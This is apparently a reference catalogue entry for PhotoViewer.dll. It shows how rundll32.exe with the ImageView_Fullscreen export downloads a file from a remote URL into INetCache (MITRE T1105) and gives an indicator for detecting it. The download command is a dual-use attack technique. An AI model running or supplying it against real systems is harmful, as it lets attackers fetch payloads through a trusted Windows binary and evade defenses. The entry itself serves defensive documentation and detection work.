PhotoViewer.dll

Commands

1. DownloadUser T1105

   Download file from remote location.

   rundll32.exe "C:\Program Files\Windows Photo Viewer\PhotoViewer.dll",ImageView_Fullscreen {REMOTEURL}

   Once executed, rundll32.exe will download the file at the specified URL to the user’s INetCache folder using the Windows Photo Viewer DLL.

   os: Windows 10, Windows 11

   Download: INetCache

Detection

• IOCExecution of rundll32.exe with 'ImageView_Fullscreen' and a remote URL (containing '://') as an argument